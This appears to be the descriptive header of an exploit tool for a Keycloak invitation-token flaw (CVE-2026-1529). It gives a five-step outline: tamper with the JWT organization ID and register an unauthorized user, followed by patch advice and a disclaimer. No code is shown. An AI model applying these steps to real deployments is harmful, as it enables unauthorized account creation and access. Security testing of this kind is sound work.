CVE Details:
-----------
CVE ID: CVE-2026-1529
Description: Keycloak: Unauthorized organization registration via improper invitation token validation
CVSS: Not yet assigned
Attack Vector: Network
Attack Complexity: Low
Exploit Method:
---------------
1. Generate or obtain organization invitation token
2. Manipulate JWT payload to change organization ID
3. Use manipulated token to register unauthorized user
4. Test login with created credentials
5. Provide login link for access
Security Advisory:
-----------------
This exploit demonstrates a critical vulnerability in Keycloak that allows
unauthorized organization registration. Organizations should apply the
latest security patches and implement proper token validation.
Disclaimer:
-----------
This tool is for educational and security testing purposes only.
Use only on systems you have explicit permission to test.
